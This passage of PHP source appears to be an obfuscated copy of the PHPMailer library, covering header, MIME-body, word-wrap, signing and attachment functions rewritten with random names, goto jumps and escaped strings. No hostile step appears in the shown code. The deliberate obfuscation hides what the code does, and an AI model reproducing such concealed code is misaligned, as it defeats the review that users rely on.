goto vLeII;
}
$AEvmd = "\x65\x6e";
vLeII:
$k8ZTi = true;
$kVNV9 = $KJIOJ . "\x70\150\160\x6d\x61\151\x6c\x65\162\x2e\154\x61\x6e\147\55" . $AEvmd . "\56\x70\x68\160";
if (!("\145\156" != $AEvmd)) {
goto fC8ie;
}
if (!static::isPermittedPath($kVNV9) || !file_exists($kVNV9)) {
goto JDjqN;
}
$k8ZTi = (include $kVNV9);
goto TKDWq;
JDjqN:
$k8ZTi = false;
TKDWq:
fC8ie:
$this->language = $Y2wIZ;
return (bool) $k8ZTi;
}
public function getTranslations()
{
return $this->language;
}
public function addrAppend($W7B1j, $KhyXp)
{
$UxZQI = [];
foreach ($KhyXp as $w1_0x) {
$UxZQI[] = $this->addrFormat($w1_0x);
BMii2:
}
kfCRy:
return $W7B1j . "\72\x20" . implode("\x2c\x20", $UxZQI) . static::$LE;
}
public function addrFormat($KhyXp)
{
if (!empty($KhyXp[1])) {
goto RMtIc;
}
return $this->secureHeader($KhyXp[0]);
RMtIc:
return $this->encodeHeader($this->secureHeader($KhyXp[1]), "\x70\x68\162\141\x73\145") . "\40\74" . $this->secureHeader($KhyXp[0]) . "\76";
}
public function wrapText($GRJNx, $Z6HTu, $nztM7 = false)
{
if ($nztM7) {
goto SRPwH;
}
$z537_ = static::$LE;
goto r3aYU;
SRPwH:
$z537_ = sprintf("\40\75\45\x73", static::$LE);
r3aYU:
$WYQjz = static::CHARSET_UTF8 === strtolower($this->CharSet);
$w84QB = strlen(static::$LE);
$YEbrP = strlen(static::$LE);
$GRJNx = static::normalizeBreaks($GRJNx);
if (!(substr($GRJNx, -$w84QB) == static::$LE)) {
goto DUg2s;
}
$GRJNx = substr($GRJNx, 0, -$w84QB);
DUg2s:
$yCe67 = explode(static::$LE, $GRJNx);
$GRJNx = '';
foreach ($yCe67 as $rYeep) {
$P7_u_ = explode("\40", $rYeep);
$CXBKr = '';
$pYP6u = true;
foreach ($P7_u_ as $pXV8B) {
if ($nztM7 and strlen($pXV8B) > $Z6HTu) {
goto WHU6j;
}
$UJjK0 = $CXBKr;
if ($pYP6u) {
goto ctaRN;
}
$CXBKr .= "\40";
ctaRN:
$CXBKr .= $pXV8B;
if (!(strlen($CXBKr) > $Z6HTu and '' != $UJjK0)) {
goto YczSR;
}
$GRJNx .= $UJjK0 . $z537_;
$CXBKr = $pXV8B;
YczSR:
goto YBRZ7;
WHU6j:
$nR1Bq = $Z6HTu - strlen($CXBKr) - $YEbrP;
if ($pYP6u) {
goto NKBaK;
}
if ($nR1Bq > 20) {
goto aj9hC;
}
$GRJNx .= $CXBKr . $z537_;
goto Nza2p;
aj9hC:
$XtdVD = $nR1Bq;
if ($WYQjz) {
goto Rz2cV;
}
if ("\x3d" == substr($pXV8B, $XtdVD - 1, 1)) {
goto xXkpL;
}
if ("\x3d" == substr($pXV8B, $XtdVD - 2, 1)) {
goto YC0aY;
}
goto mvNTY;
Rz2cV:
$XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD);
goto mvNTY;
xXkpL:
--$XtdVD;
goto mvNTY;
YC0aY:
$XtdVD -= 2;
mvNTY:
$TBxxK = substr($pXV8B, 0, $XtdVD);
$pXV8B = substr($pXV8B, $XtdVD);
$CXBKr .= "\x20" . $TBxxK;
$GRJNx .= $CXBKr . sprintf("\x3d\x25\163", static::$LE);
Nza2p:
$CXBKr = '';
NKBaK:
qfF81:
if (!(strlen($pXV8B) > 0)) {
goto NaKu0;
}
if (!($Z6HTu <= 0)) {
goto Thn_7;
}
goto NaKu0;
Thn_7:
$XtdVD = $Z6HTu;
if ($WYQjz) {
goto tyhce;
}
if ("\x3d" == substr($pXV8B, $XtdVD - 1, 1)) {
goto L5hiV;
}
if ("\75" == substr($pXV8B, $XtdVD - 2, 1)) {
goto o2_Z_;
}
goto GiLSw;
tyhce:
$XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD);
goto GiLSw;
L5hiV:
--$XtdVD;
goto GiLSw;
o2_Z_:
$XtdVD -= 2;
GiLSw:
$TBxxK = substr($pXV8B, 0, $XtdVD);
$pXV8B = substr($pXV8B, $XtdVD);
if (strlen($pXV8B) > 0) {
goto DxsXh;
}
$CXBKr = $TBxxK;
goto GeryG;
DxsXh:
$GRJNx .= $TBxxK . sprintf("\75\45\163", static::$LE);
GeryG:
goto qfF81;
NaKu0:
YBRZ7:
$pYP6u = false;
Ja8TU:
}
FTH0N:
$GRJNx .= $CXBKr . static::$LE;
gDBIa:
}
fGHCm:
return $GRJNx;
}
public function utf8CharBoundary($btBz_, $zaeyx)
{
$l07Vf = false;
$NPMHP = 3;
F6taP:
if ($l07Vf) {
goto N2QUj;
}
$Qzm60 = substr($btBz_, $zaeyx - $NPMHP, $NPMHP);
$WSRQT = strpos($Qzm60, "\75");
if (false !== $WSRQT) {
goto Dq62R;
}
$l07Vf = true;
goto ddjlq;
Dq62R:
$QysIZ = substr($btBz_, $zaeyx - $NPMHP + $WSRQT + 1, 2);
$QOchO = hexdec($QysIZ);
if ($QOchO < 128) {
goto WKaz9;
}
if ($QOchO >= 192) {
goto Niexk;
}
if ($QOchO < 192) {
goto EjYp1;
}
goto Y6crT;
WKaz9:
if (!($WSRQT > 0)) {
goto DtEHW;
}
$zaeyx -= $NPMHP - $WSRQT;
DtEHW:
$l07Vf = true;
goto Y6crT;
Niexk:
$zaeyx -= $NPMHP - $WSRQT;
$l07Vf = true;
goto Y6crT;
EjYp1:
$NPMHP += 3;
Y6crT:
ddjlq:
goto F6taP;
N2QUj:
return $zaeyx;
}
public function setWordWrap()
{
if (!($this->WordWrap < 1)) {
goto odN_E;
}
return;
odN_E:
switch ($this->message_type) {
case "\x61\154\x74":
case "\x61\x6c\x74\x5f\x69\156\154\151\156\x65":
case "\x61\154\164\x5f\141\164\164\141\143\150":
case "\141\x6c\x74\137\x69\156\x6c\x69\x6e\145\x5f\x61\164\x74\141\143\x68":
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
goto zKK0F;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
goto zKK0F;
}
EGzJ5:
zKK0F:
}
public function createHeader()
{
$HYIC3 = '';
$HYIC3 .= $this->headerLine("\104\141\x74\145", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate);
if ($this->SingleTo) {
goto nXcpC;
}
if (count($this->to) > 0) {
goto Fgs64;
}
if (count($this->cc) == 0) {
goto VarS6;
}
goto encmk;
Fgs64:
if (!("\155\141\151\x6c" != $this->Mailer)) {
goto l8ZEo;
}
$HYIC3 .= $this->addrAppend("\124\157", $this->to);
l8ZEo:
goto encmk;
VarS6:
$HYIC3 .= $this->headerLine("\124\157", "\165\x6e\x64\x69\163\x63\x6c\157\163\145\x64\x2d\162\145\x63\x69\160\x69\145\x6e\x74\163\72\73");
encmk:
goto RZ0_V;
nXcpC:
if (!("\155\141\x69\154" != $this->Mailer)) {
goto OhfFj;
}
foreach ($this->to as $EpIAw) {
$this->SingleToArray[] = $this->addrFormat($EpIAw);
bMFst:
}
iUz_S:
OhfFj:
RZ0_V:
$HYIC3 .= $this->addrAppend("\x46\162\157\x6d", [[trim($this->From), $this->FromName]]);
if (!(count($this->cc) > 0)) {
goto yvSbq;
}
$HYIC3 .= $this->addrAppend("\x43\143", $this->cc);
yvSbq:
if (!(("\163\x65\x6e\x64\155\x61\151\154" == $this->Mailer or "\161\155\x61\151\x6c" == $this->Mailer or "\x6d\x61\x69\154" == $this->Mailer) and count($this->bcc) > 0)) {
goto QibOW;
}
$HYIC3 .= $this->addrAppend("\102\x63\x63", $this->bcc);
QibOW:
if (!(count($this->ReplyTo) > 0)) {
goto vUVi5;
}
$HYIC3 .= $this->addrAppend("\122\145\160\154\171\x2d\124\157", $this->ReplyTo);
vUVi5:
if (!("\155\141\151\154" != $this->Mailer)) {
goto Ze1JQ;
}
$HYIC3 .= $this->headerLine("\x53\x75\x62\152\x65\x63\164", $this->encodeHeader($this->secureHeader($this->Subject)));
Ze1JQ:
if ('' != $this->MessageID and preg_match("\57\x5e\x3c\x2e\x2a\x40\56\x2a\76\44\57", $this->MessageID)) {
goto PO5RI;
}
$this->lastMessageID = sprintf("\x3c\45\163\x40\45\163\76", $this->uniqueid, $this->serverHostname());
goto OFB3v;
PO5RI:
$this->lastMessageID = $this->MessageID;
OFB3v:
$HYIC3 .= $this->headerLine("\x4d\x65\x73\x73\141\147\145\55\x49\x44", $this->lastMessageID);
if (!(null !== $this->Priority)) {
goto gQU_h;
}
$HYIC3 .= $this->headerLine("\130\55\x50\162\x69\157\x72\x69\164\171", $this->Priority);
gQU_h:
if ('' == $this->XMailer) {
goto phPpi;
}
$tIheQ = trim($this->XMailer);
if (!$tIheQ) {
goto NUB_i;
}
$HYIC3 .= $this->headerLine("\130\55\115\141\x69\x6c\x65\x72", $tIheQ);
NUB_i:
goto oc1vX;
phPpi:
$HYIC3 .= $this->headerLine("\130\55\x4d\x61\151\x6c\145\x72", "\x50\110\x50\x4d\141\x69\x6c\145\162\40" . self::VERSION);
oc1vX:
if (!('' != $this->ConfirmReadingTo)) {
goto EdKuA;
}
$HYIC3 .= $this->headerLine("\104\151\163\160\157\163\151\x74\x69\157\x6e\55\116\x6f\x74\x69\x66\151\x63\x61\x74\151\x6f\156\x2d\x54\157", "\x3c" . $this->ConfirmReadingTo . "\x3e");
EdKuA:
foreach ($this->CustomHeader as $y_KXY) {
$HYIC3 .= $this->headerLine(trim($y_KXY[0]), $this->encodeHeader(trim($y_KXY[1])));
ZkYt8:
}
T_5ZI:
if ($this->sign_key_file) {
goto CN1hR;
}
$HYIC3 .= $this->headerLine("\115\111\115\x45\55\x56\145\162\x73\x69\x6f\156", "\61\56\x30");
$HYIC3 .= $this->getMailMIME();
CN1hR:
return $HYIC3;
}
public function getMailMIME()
{
$HYIC3 = '';
$A1PuC = true;
switch ($this->message_type) {
case "\x69\x6e\154\x69\156\x65":
$HYIC3 .= $this->headerLine("\103\157\156\x74\x65\x6e\164\x2d\124\171\x70\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\73");
$HYIC3 .= $this->textLine("\11\x62\157\165\x6e\x64\x61\x72\x79\x3d\x22" . $this->boundary[1] . "\42");
goto a9i8C;
case "\141\x74\164\141\143\x68":
case "\x69\156\154\151\156\x65\x5f\141\x74\x74\x61\x63\150":
case "\141\x6c\164\x5f\x61\x74\164\x61\143\x68":
case "\x61\x6c\x74\137\x69\156\x6c\x69\x6e\145\x5f\x61\164\164\141\143\150":
$HYIC3 .= $this->headerLine("\x43\x6f\156\x74\145\156\x74\x2d\124\x79\x70\145", static::CONTENT_TYPE_MULTIPART_MIXED . "\x3b");
$HYIC3 .= $this->textLine("\x9\142\157\165\156\x64\x61\x72\x79\75\42" . $this->boundary[1] . "\x22");
goto a9i8C;
case "\141\x6c\x74":
case "\141\x6c\164\x5f\x69\x6e\x6c\x69\x6e\x65":
$HYIC3 .= $this->headerLine("\103\x6f\x6e\x74\x65\x6e\x74\x2d\124\171\160\x65", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\x3b");
$HYIC3 .= $this->textLine("\x9\142\157\x75\156\144\x61\x72\171\x3d\42" . $this->boundary[1] . "\x22");
goto a9i8C;
default:
$HYIC3 .= $this->textLine("\103\157\156\x74\x65\156\x74\x2d\x54\x79\x70\x65\x3a\40" . $this->ContentType . "\73\x20\143\x68\x61\x72\x73\145\x74\x3d" . $this->CharSet);
$A1PuC = false;
goto a9i8C;
}
xd4Du:
a9i8C:
if (!(static::ENCODING_7BIT != $this->Encoding)) {
goto L3nfi;
}
if ($A1PuC) {
goto dY47P;
}
$HYIC3 .= $this->headerLine("\103\157\156\164\x65\x6e\x74\55\124\162\141\x6e\x73\146\x65\162\55\105\156\143\x6f\144\151\x6e\147", $this->Encoding);
goto eLbUf;
dY47P:
if (!(static::ENCODING_8BIT == $this->Encoding)) {
goto uKVyx;
}
$HYIC3 .= $this->headerLine("\x43\x6f\x6e\x74\x65\x6e\x74\55\124\x72\141\x6e\x73\146\x65\162\x2d\105\156\143\157\144\x69\x6e\147", static::ENCODING_8BIT);
uKVyx:
eLbUf:
L3nfi:
if (!("\155\141\x69\154" != $this->Mailer)) {
goto DhuAc;
}
$HYIC3 .= static::$LE;
DhuAc:
return $HYIC3;
}
public function getSentMIMEMessage()
{
return rtrim($this->MIMEHeader . $this->mailHeader, "\12\15") . static::$LE . static::$LE . $this->MIMEBody;
}
protected function generateId()
{
$XtdVD = 32;
if (function_exists("\162\x61\x6e\144\157\x6d\x5f\142\171\x74\145\163")) {
goto DHC32;
}
if (function_exists("\157\160\145\x6e\163\x73\x6c\x5f\162\x61\156\144\157\155\x5f\160\163\145\165\x64\x6f\137\x62\171\164\145\x73")) {
goto U6ZWp;
}
$yaDF_ = hash("\x73\x68\141\x32\x35\x36", uniqid((string) mt_rand(), true), true);
goto qO6Qa;
DHC32:
$yaDF_ = random_bytes($XtdVD);
goto qO6Qa;
U6ZWp:
$yaDF_ = openssl_random_pseudo_bytes($XtdVD);
qO6Qa:
return str_replace(["\x3d", "\53", "\57"], '', base64_encode(hash("\x73\150\141\62\65\66", $yaDF_, true)));
}
public function createBody()
{
$UlmlF = '';
$this->uniqueid = $this->generateId();
$this->boundary[1] = "\x62\x31\x5f" . $this->uniqueid;
$this->boundary[2] = "\x62\62\137" . $this->uniqueid;
$this->boundary[3] = "\x62\x33\137" . $this->uniqueid;
if (!$this->sign_key_file) {
goto hqkge;
}
$UlmlF .= $this->getMailMIME() . static::$LE;
hqkge:
$this->setWordWrap();
$iNpJe = $this->Encoding;
$zAEu5 = $this->CharSet;
if (!(static::ENCODING_8BIT == $iNpJe and !$this->has8bitChars($this->Body))) {
goto j7mmA;
}
$iNpJe = static::ENCODING_7BIT;
$zAEu5 = "\x75\x73\55\x61\x73\143\151\151";
j7mmA:
if (!(static::ENCODING_BASE64 != $this->Encoding and static::hasLineLongerThanMax($this->Body))) {
goto xNZiP;
}
$iNpJe = static::ENCODING_QUOTED_PRINTABLE;
xNZiP:
$dB0CE = $this->Encoding;
$KPgOX = $this->CharSet;
if (!(static::ENCODING_8BIT == $dB0CE and !$this->has8bitChars($this->AltBody))) {
goto oZ2Gn;
}
$dB0CE = static::ENCODING_7BIT;
$KPgOX = "\x75\x73\x2d\x61\163\x63\151\151";
oZ2Gn:
if (!(static::ENCODING_BASE64 != $dB0CE and static::hasLineLongerThanMax($this->AltBody))) {
goto iGpi_;
}
$dB0CE = static::ENCODING_QUOTED_PRINTABLE;
iGpi_:
$x0NDr = "\124\x68\x69\163\x20\x69\163\40\x61\40\155\x75\154\164\x69\x2d\160\141\162\164\40\155\x65\163\x73\141\147\x65\40\151\156\x20\x4d\x49\115\x45\x20\x66\157\x72\155\x61\164\56" . static::$LE;
switch ($this->message_type) {
case "\151\x6e\x6c\151\x6e\x65":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\151\156\x6c\151\156\x65", $this->boundary[1]);
goto VweLU;
case "\x61\164\164\141\143\150":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\x61\x74\x74\141\143\x68\155\145\x6e\x74", $this->boundary[1]);
goto VweLU;
case "\151\156\154\x69\x6e\145\x5f\141\164\164\x61\x63\x68":
$UlmlF .= $x0NDr;
$UlmlF .= $this->textLine("\55\55" . $this->boundary[1]);
$UlmlF .= $this->headerLine("\x43\x6f\156\x74\145\x6e\x74\x2d\124\171\x70\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b");
$UlmlF .= $this->textLine("\11\142\x6f\165\x6e\x64\141\x72\171\75\x22" . $this->boundary[2] . "\x22");
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, '', $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\x69\x6e\154\151\x6e\x65", $this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\x61\164\x74\x61\143\150\155\x65\x6e\164", $this->boundary[1]);
goto VweLU;
case "\141\x6c\164":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
if (empty($this->Ical)) {
goto b1a_m;
}
$UlmlF .= $this->getBoundary($this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . "\73\x20\x6d\145\x74\150\x6f\x64\75\122\x45\x51\x55\x45\x53\124", '');
$UlmlF .= $this->encodeString($this->Ical, $this->Encoding);
$UlmlF .= static::$LE;
b1a_m:
$UlmlF .= $this->endBoundary($this->boundary[1]);
goto VweLU;
case "\141\154\164\x5f\x69\x6e\154\x69\156\x65":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->textLine("\x2d\x2d" . $this->boundary[1]);
$UlmlF .= $this->headerLine("\x43\x6f\156\x74\x65\156\x74\x2d\124\x79\160\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b");
$UlmlF .= $this->textLine("\11\142\x6f\165\x6e\144\x61\x72\171\x3d\42" . $this->boundary[2] . "\42");
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\151\x6e\x6c\x69\156\x65", $this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->endBoundary($this->boundary[1]);
goto VweLU;
case "\141\x6c\164\x5f\141\x74\164\x61\143\150":
$UlmlF .= $x0NDr;
$UlmlF .= $this->textLine("\55\x2d" . $this->boundary[1]);
$UlmlF .= $this->headerLine("\x43\x6f\x6e\164\145\x6e\x74\x2d\x54\x79\x70\x65", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\73");
$UlmlF .= $this->textLine("\11\142\x6f\x75\x6e\144\141\x72\171\75\42" . $this->boundary[2] . "\x22");
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
if (empty($this->Ical)) {
goto C_4cX;
}
$UlmlF .= $this->getBoundary($this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . "\73\40\155\145\164\150\x6f\144\x3d\x52\x45\x51\125\105\123\x54", '');
$UlmlF .= $this->encodeString($this->Ical, $this->Encoding);
C_4cX:
$UlmlF .= $this->endBoundary($this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\141\x74\164\141\x63\x68\x6d\x65\x6e\x74", $this->boundary[1]);
goto VweLU;
case "\141\154\164\x5f\151\156\x6c\x69\x6e\145\x5f\x61\x74\164\141\x63\150":
$UlmlF .= $x0NDr;
$UlmlF .= $this->textLine("\55\x2d" . $this->boundary[1]);
$UlmlF .= $this->headerLine("\x43\x6f\156\164\x65\x6e\x74\55\124\x79\x70\145", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\x3b");
$UlmlF .= $this->textLine("\x9\142\157\x75\x6e\144\x61\162\171\75\x22" . $this->boundary[2] . "\42");
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->textLine("\55\x2d" . $this->boundary[2]);
$UlmlF .= $this->headerLine("\103\157\x6e\x74\x65\x6e\164\55\x54\x79\160\145", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b");
$UlmlF .= $this->textLine("\11\x62\157\165\x6e\144\141\x72\171\75\x22" . $this->boundary[3] . "\x22");
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[3], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\151\x6e\154\151\156\145", $this->boundary[3]);
$UlmlF .= static::$LE;
$UlmlF .= $this->endBoundary($this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("\x61\164\x74\x61\x63\x68\155\x65\156\164", $this->boundary[1]);
goto VweLU;
default:
$this->Encoding = $iNpJe;
$UlmlF .= $this->encodeString($this->Body, $this->Encoding);
goto VweLU;
}
la31j:
VweLU:
if ($this->isError()) {
goto CA9Hi;
}
if ($this->sign_key_file) {
goto wfcJW;
}
goto yevxh;
CA9Hi:
$UlmlF = '';
if (!$this->exceptions) {
goto j57n1;
}
throw new Exception($this->lang("\145\x6d\x70\164\x79\x5f\x6d\145\163\x73\x61\147\x65"), self::STOP_CRITICAL);
j57n1:
goto yevxh;
wfcJW:
try {
if (defined("\120\113\x43\123\x37\137\124\105\x58\x54")) {
goto wwFiY;
}
throw new Exception($this->lang("\145\x78\164\145\156\163\x69\x6f\x6e\137\155\x69\163\163\151\x6e\x67") . "\x6f\x70\x65\x6e\163\x73\154");
wwFiY:
$vn08u = fopen("\x70\x68\x70\72\57\57\164\145\x6d\x70", "\x72\142\53");
$ty0iw = fopen("\x70\150\x70\x3a\x2f\57\x74\145\155\x70", "\162\142\53");
fwrite($vn08u, $UlmlF);
if (empty($this->sign_extracerts_file)) {
goto x21AA;
}
$DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "\146\x69\154\145\x3a\x2f\57" . realpath($this->sign_cert_file), ["\x66\x69\154\x65\72\x2f\57" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file);
goto rU9Km;
x21AA:
$DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "\x66\x69\x6c\145\x3a\57\x2f" . realpath($this->sign_cert_file), ["\146\151\154\x65\x3a\57\x2f" . realpath($this->sign_key_file), $this->sign_key_pass], []);
rU9Km:
fclose($vn08u);
if ($DiqXR) {
goto JgnAB;
}
fclose($ty0iw);
throw new Exception($this->lang("\x73\x69\147\x6e\151\x6e\147") . openssl_error_string());
goto OzdyM;
JgnAB:
$UlmlF = file_get_contents($ty0iw);
fclose($ty0iw);
$EQ5MH = explode("\xa\12", $UlmlF, 2);
$this->MIMEHeader .= $EQ5MH[0] . static::$LE . static::$LE;
$UlmlF = $EQ5MH[1];
OzdyM:
} catch (Exception $CsLop) {
$UlmlF = '';
if (!$this->exceptions) {
goto l9plm;
}
throw $CsLop;
l9plm:
}
yevxh:
return $UlmlF;
}
protected function getBoundary($DCyE_, $jf2sH, $PBZc0, $CTuvx)
{
$HYIC3 = '';
if (!('' == $jf2sH)) {
goto TXmYT;
}
$jf2sH = $this->CharSet;
TXmYT:
if (!('' == $PBZc0)) {
goto EwHxT;
}
$PBZc0 = $this->ContentType;
EwHxT:
if (!('' == $CTuvx)) {
goto SNlv2;
}
$CTuvx = $this->Encoding;
SNlv2:
$HYIC3 .= $this->textLine("\x2d\55" . $DCyE_);
$HYIC3 .= sprintf("\x43\157\x6e\164\x65\x6e\164\x2d\x54\171\x70\145\x3a\x20\45\x73\73\x20\143\x68\141\162\x73\x65\164\75\x25\x73", $PBZc0, $jf2sH);
$HYIC3 .= static::$LE;
if (!(static::ENCODING_7BIT != $CTuvx)) {
goto IEzud;
}
$HYIC3 .= $this->headerLine("\x43\x6f\x6e\164\x65\x6e\x74\55\x54\162\x61\156\x73\x66\145\162\55\105\156\x63\x6f\x64\x69\156\x67", $CTuvx);
IEzud:
$HYIC3 .= static::$LE;
return $HYIC3;
}
protected function endBoundary($DCyE_)
{
return static::$LE . "\55\55" . $DCyE_ . "\x2d\x2d" . static::$LE;
}
protected function setMessageType()
{
$W7B1j = [];
if (!$this->alternativeExists()) {
goto na_Ur;
}
$W7B1j[] = "\141\x6c\164";
na_Ur:
if (!$this->inlineImageExists()) {
goto viPSD;
}
$W7B1j[] = "\x69\156\154\151\x6e\x65";
viPSD:
if (!$this->attachmentExists()) {
goto FyAZ9;
}
$W7B1j[] = "\141\x74\164\x61\143\150";
FyAZ9:
$this->message_type = implode("\x5f", $W7B1j);
if (!('' == $this->message_type)) {
goto vVev4;
}
$this->message_type = "\x70\x6c\x61\151\x6e";
vVev4:
}
public function headerLine($dEC3m, $GywUj)
{
return $dEC3m . "\x3a\x20" . $GywUj . static::$LE;
}
public function textLine($GywUj)
{
return $GywUj . static::$LE;
}
public function addAttachment($t1usk, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\141\164\x74\141\143\x68\155\x65\x6e\x74")
{
try {
if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) {
goto IsjtG;
}
throw new Exception($this->lang("\x66\x69\154\145\137\x61\143\x63\x65\x73\x73") . $t1usk, self::STOP_CONTINUE);
IsjtG:
if (!('' == $W7B1j)) {
goto chvMA;
}
$W7B1j = static::filenameToType($t1usk);
chvMA:
$FFm9e = basename($t1usk);
if (!('' == $dEC3m)) {
goto Q0eP_;
}
$dEC3m = $FFm9e;
Q0eP_:
$this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $dEC3m];
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
$this->edebug($CsLop->getMessage());
if (!$this->exceptions) {
goto XdDql;
}
throw $CsLop;
XdDql:
return false;
}
return true;
}
public function getAttachments()
{
return $this->attachment;
}
protected function attachAll($zvcbf, $DCyE_)
{
$x0bAU = [];
$ZqXFB = [];
$JqU5f = [];
foreach ($this->attachment as $XGAfM) {
if (!($XGAfM[6] == $zvcbf)) {
goto Ywv_1;
}
$jm30w = '';
$t1usk = '';
$iS2Yi = $XGAfM[5];
if ($iS2Yi) {
goto D2o0L;
}
$t1usk = $XGAfM[0];
goto P0kXi;
D2o0L:
$jm30w = $XGAfM[0];
P0kXi:
$vXmoj = hash("\x73\150\141\62\x35\66", serialize($XGAfM));
if (!in_array($vXmoj, $JqU5f)) {
goto soGdQ;
}
goto v5t7l;
soGdQ:
$JqU5f[] = $vXmoj;
$dEC3m = $XGAfM[2];
$CTuvx = $XGAfM[3];
$W7B1j = $XGAfM[4];
$wOvSy = $XGAfM[6];
$qsaom = $XGAfM[7];
if (!("\151\x6e\154\151\156\145" == $wOvSy and array_key_exists($qsaom, $ZqXFB))) {
goto J2yWg;
}
goto v5t7l;
J2yWg:
$ZqXFB[$qsaom] = true;
$x0bAU[] = sprintf("\55\x2d\45\x73\x25\163", $DCyE_, static::$LE);
if (!empty($dEC3m)) {
goto oUzVn;
}
$x0bAU[] = sprintf("\x43\x6f\x6e\x74\x65\x6e\164\x2d\x54\x79\x70\x65\x3a\x20\45\x73\45\163", $W7B1j, static::$LE);
goto JVVtn;
oUzVn:
$x0bAU[] = sprintf("\103\157\156\164\x65\x6e\x74\55\124\x79\x70\x65\72\40\45\x73\x3b\40\x6e\141\155\145\75\42\x25\x73\x22\x25\x73", $W7B1j, $this->encodeHeader($this->secureHeader($dEC3m)), static::$LE);
JVVtn:
if (!(static::ENCODING_7BIT != $CTuvx)) {
goto oo4wW;
}
$x0bAU[] = sprintf("\x43\x6f\156\x74\145\156\164\x2d\124\162\141\156\x73\x66\145\162\x2d\105\156\x63\x6f\144\x69\x6e\x67\x3a\x20\x25\x73\45\x73", $CTuvx, static::$LE);
oo4wW:
if (empty($qsaom)) {
goto oYrr0;
}
$x0bAU[] = sprintf("\103\157\156\164\x65\156\x74\x2d\111\104\x3a\x20\74\x25\163\76\x25\163", $qsaom, static::$LE);
oYrr0:
if (!empty($wOvSy)) {
goto zS7Wc;
}
$x0bAU[] = static::$LE;
goto zRuBG;
zS7Wc:
$hL22e = $this->encodeHeader($this->secureHeader($dEC3m));
if (preg_match("\57\133\40\x5c\50\134\51\74\76\100\x2c\73\72\134\42\134\57\134\x5b\134\x5d\x5c\x3f\x3d\135\57", $hL22e)) {
goto eNcYm;
}
if (!empty($hL22e)) {
goto mMXe1;
}
$x0bAU[] = sprintf("\x43\157\156\164\145\x6e\164\x2d\x44\151\x73\160\x6f\x73\x69\x74\151\x6f\156\x3a\40\x25\x73\45\x73", $wOvSy, static::$LE . static::$LE);
goto Ls9dA;
mMXe1:
$x0bAU[] = sprintf("\x43\157\x6e\164\145\x6e\164\55\104\x69\163\x70\157\x73\x69\164\x69\157\156\72\x20\45\163\x3b\40\146\x69\x6c\x65\156\141\155\145\x3d\45\x73\45\x73", $wOvSy, $hL22e, static::$LE . static::$LE);
